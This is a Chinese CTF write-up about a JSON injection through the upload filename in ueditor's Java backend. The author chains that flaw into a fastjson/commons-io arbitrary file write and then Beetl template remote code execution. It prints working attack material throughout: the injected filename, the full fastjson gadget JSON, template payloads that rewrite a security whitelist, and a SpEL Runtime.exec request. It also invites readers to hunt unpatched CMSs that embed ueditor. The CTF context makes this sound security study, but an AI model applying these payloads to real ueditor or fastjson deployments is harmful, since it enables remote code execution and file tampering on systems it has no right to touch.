文章首发于先知社区,传送门。
TL;DR
前段时间给venom招新赛出了两道题,其中的java题源自去年审计ueditor源码时发现的一个小问题,感觉有希望产出一些漏洞,接着探索了一下发现确实有洞。因为利用过程太过ctf了,并且相对简单所以理所当然做成了一道ctf题目。
ueditor的JSON注入隐患
你好 ueditor
ueditor在2023年在github上停止维护,实际上五年前就不在更新了。在java版本当中,官方给出了上传文件的标准用法,即调用String json = new ActionEnter(request, rootPath).exec(),正常来说后端直接返回json字符串即可。
但是,如果开发者想修改返回的属性(增删几个key)的话,还是会用JSON解析库解析json,如果在json字符串(部分)可控的情况下,此时可能会出现安全问题。大概扫了一眼国内的CMS引入ueditor还挺多的,师父们可以看看有哪些cms调用了ueditor并且进行不安全编码规范导致漏洞触发,没准能刷点0day。
喜提忽略一枚:

隐患分析
潜在隐患,也就是sink在com.baidu.ueditor.define.BaseState#toString方法中,new ActionEnter(request, rootPath).exec()实际上调用的就是该方法。
其主要逻辑是对map进行遍历,把key和value进行处理最终制作成JSON字符串形式。
其中key和value用+进行拼接,如果key或value可控的话可能会导致json注入问题。

我们来找一下key或value是否可控,ActionEnter#invoke方法调用了state#toJSONString,可以看到当ActionMap为UPLOAD_FILE(文件上传)操作时会触发 Uploader#doExec。

接着看Uploader#doExec的逻辑,这里会根据是否base64调用不同类的save方法。当操作为UPLOAD_FILE时配置类ConfigManager的isBase64为false,所以Uploader#doExec触发BinaryUploader#save。
case ActionMap.UPLOAD_FILE:
conf.put("isBase64", "false");
conf.put("maxSize", this.jsonConfig.getLong("fileMaxSize"));
conf.put("allowFiles", this.getArray("fileAllowFiles"));
conf.put("fieldName", this.jsonConfig.getString("fileFieldName"));
savePath = this.jsonConfig.getString("filePathFormat");
break;

继续审计BinaryUploader#save函数,可以看到originFileName是由上传表单的filename控制的,找到了可控点。值得注意的是程序校验了后缀名,这很好绕过。令filename为filename=flag","vulnerable":"hacked","a":".txt即可绕过检测。最终会把originFileName放进BaseState当中。

接着触发toJSONString通过拼接把恶意字符处理为字符串,也就是开头提到的sink。

发现以上函数调用可以通过/ueditor路由触发,其中返回的json为恶意字符串,最终把json传给了uploadService#uploadHandle。因此我们可以看看uplodaHandle方法干了啥,使得一个JSON注入隐患最终造成远程命令执行。

漏洞触发思考
到目前为止仅仅是存在一个隐患,如果开发者没有解析JSON字符串那么不会造成真正的危害,当时想应该有两个利用面。
- 直接使用
fastjson#parse解析该字符串,倘若fj的版本较低,那么可以RCE。 - 需要观察开发解析字符串后的逻辑,比如开发自己实现了备份文件的功能,而备份文件的路径取自
filepath之类的,此时利用JSON注入注进去一个同名属性filepath,可能会覆盖点原有的filepath从而造成任意文件上传。
利用
当时确实找到了几个洞,其中star最多的cms被我修修改改做成了这道题,实际上就是低版本fastjson解析的问题啦。接下来就复制粘贴wp了。
题目只有登录,文件上传功能。
其中IndexController处理登录逻辑,不存在注入问题。
UploadController要求登陆用户为admin才能上传,弱口令admin/admin即可登录。
public String upload(HttpServletRequest request, Model model, HttpSession session, @RequestParam(value = "action",required = false) String action) throws URISyntaxException {
String user=(String) session.getAttribute("user");
if(!"admin".equals(user)){
model.addAttribute("message","no way");
return "upload";
}
if(action == null){
model.addAttribute("message","传个文件吧");
return "upload";
}
String json = new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();
String contextPath = request.getContextPath();
// 文件处理
String handlerOut = uploadService.uploadHandle(action, json, contextPath);
model.addAttribute("message",handlerOut);
return "upload";
}
真正处理文件上传逻辑在new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();,即调用了ueditor提供的函数来实现文件上传,而UploadServiceImpl#uploadFileHandler方法仅仅是多加了一个返回字段。
我猜有些师傅看到文件上传就会想到上传btl来覆盖test.btl等模板来打模板注入RCE,但ueditor的文件上传逻辑限制的比较死。一方面是通过config.json来限制了文件后缀,不能上传btl;另一方面也没法目录穿越。
所以很快就能发现UploadServiceImpl#uploadFileHandler方法十分可疑。这里通过parseObject处理outJsonString字符串,再看一眼fj的依赖不是最新的,当时也是给出了提示,很明显sink就在这里。
protected String uploadFileHandler(String outJsonString, String contextPath) {
State state = null;
JSONObject json = JSON.parseObject(outJsonString);
if (!"SUCCESS".equals(json.getString("state"))) {
return "error";
}
json.put("author","squirt1e");
return state == null ? outJsonString : state.toJSONString();
}
如果outJsonString可控就可以利用了,而outJsonString是ueditor的方法返回的字符串,需要审计ueditor源码,就是上面那一部分。
fastjson common-io任意文件写
uploadHandle通过parseObject方法对恶意字符串进行解析,可以看到json已经被污染了。

本题用到的fastjson为1.2.66,版本不高存在利用的可能。观察pom.xml发现存在commons-io 2.7(多提一嘴ueditor.jar本身引入了common-io)。不难想到fastjson1.2.68结合common-io2.x可以打一个任意文件写入,构造原理可以参考su18发的博客。值得注意的一点是json的第一个属性"state":"SUCCESS“是不可控的,令filename为flag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt即可正常恢复Java Bean。
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charset": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
除了属性开头的坑之外还有好多坑,实际上ueditor Json injection那里大概看了没多久就审出来了,但是利用卡了我一天。。
第一点是fj调用构造函数存在随机性,而WriterOutputStream恰好有一堆很相似的构造函数,所以在构造的时候需要注意WriterOutputStream构造方法的第二个属性是charset或charsetName,如果属性名称错误会报Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public。
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}
public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}
第二点是该方法(应该)仅支持绝对路径文件写入,MiscCodec中限制了相对路径写入。不过题目应该会给docker所以选手到时候看docker里的模板路径就可以了。如果难度不够的话绝对路径这部分可以当个考点。
else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
throw new JSONException("file relative path not support.");
} else {
return new File(strVal);
}
第三点是写不进去双引号",分号;之类的字符。这部分不是任意文件写这条gadget的问题,而是因为ueditor这里的JSON注入是个http请求头中的filename注入,所以写一些奇怪字符会导致http请求出现一些问题。结合beetl语法用parameter.a就能绕过了。后续在访问恶意模板时加个参数?a即可。
beetl模板RCE
这部分和本文主旨无关啦。
beetle国产模板实际上很好RCE(话说经过RWCTF thymeleaf那道题的洗礼后看啥模板都有自信了),模板支持java方法以及属性调用。并且防护类DefaultNativeSecurityManager就一个黑名单,翻翻issue就能找到payload,即便修了还是会有一大堆。
所以我参考patch写了一个看似无懈可击的白名单类。
只允许调用venom.elephantcms的方法,选手只能调用我自己写的方法,而往下翻翻就找到了这个类居然有个test方法可以重新定义callPattern白名单,callPattern我故意没写final修饰。
public class WhiteListNativeSecurityManager implements NativeSecurityManager {
public static Pattern callPattern = null;
public WhiteListNativeSecurityManager(){
allow(Arrays.asList("venom.elephantcms"));
}
@Override
public boolean permit(Object resourceId, Class c, Object target, String method) {
if (c.isArray()) {
// WhiteListNativeSecurityManager.class.getClassLoader()
// 允许调用,但实际上会在在其后调用中报错。不归此处管理
return true;
}
// Runtime.getRuntime()
String name = c.getName();
String className = null;
String pkgName = null;
int i = name.lastIndexOf('.');
if (i == -1) {
// 无包名,肯定安全,允许调用
return true;
}
return callPattern.matcher(name).matches();
}
public static String test(String test){
allow(Arrays.asList(test.split(",")));
return "ok";
}
/**
* 指定白名单,默认是java.util
* @param calls ,调用,如 [java.util,java.io.File]
*/
public static void allow(List<String> calls){
StringBuilder sb = new StringBuilder();
for(String pkg:calls){
int c = pkg.lastIndexOf('.');
boolean classCall = false;
if(Character.isUpperCase(pkg.charAt(c+1))){
classCall = true;
}
if(classCall){
sb.append(pkg.replace(".","\\."));
}else{
sb.append(pkg.replace(".","\\.")).append("\\..*");
}
sb.append("|");
}
sb.setLength(sb.length()-1);
callPattern = Pattern.compile(sb.toString());
}
// public static void main(String[] args) {
//
// {
// test("java.lang");
// }
//
// }
}
能自己定义白名单类的话就随便绕了。
总结
思路很明确:通过构造恶意的文件名打一个JSON注入攻击parseObject覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl,第一次文件写入调用test方法覆盖白名单多放点包路径。
${@nese.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}
第二次文件写入覆盖upload.btl打RCE即可。
${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}
/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('{command}').getInputStream()).next()
不过还有个坑点就是第二步覆盖的模板不能是test.btl了,可能是缓存的原因导致即便写入第二次的payload访问模板还是会执行第一次的payload。
梭:

非预期
“随便打打”师傅在比赛过程中做出了这道题,用的是fastjson mysql任意文件读出来的flag,我觉得只要审出来json拼接就算是预期。另外其实任意文件写jsp也可以(属实是小丑了),不过由于挖的那个day是jfinal框架写的,filter过滤了jsp,不过也有办法绕过就是了。
关于jsp写webshell需要分号;的问题(写不了分号的原因在上面提到了),我当时是没有解决所以这里预期解是覆盖.btl模版。现在想想应该有方法解决,之前读RFC标准的时候好像看到有可以url编码请求头的操作。
自动化思路
github是支持代码搜索的,所以我们可以通过github提供的搜索接口来寻找引入ueditor的java项目,但显然国内的cms引入ueditor会多一些,但可惜gitee上不提供代码检索功能,即便如此,我还是找到了一百多个项目。
第二步就是简单的污点分析,这一部分偷懒就命令行调semgrep来做(其实是不会),最后发现漏洞还是挺少的。。不过也算是一次尝试吧。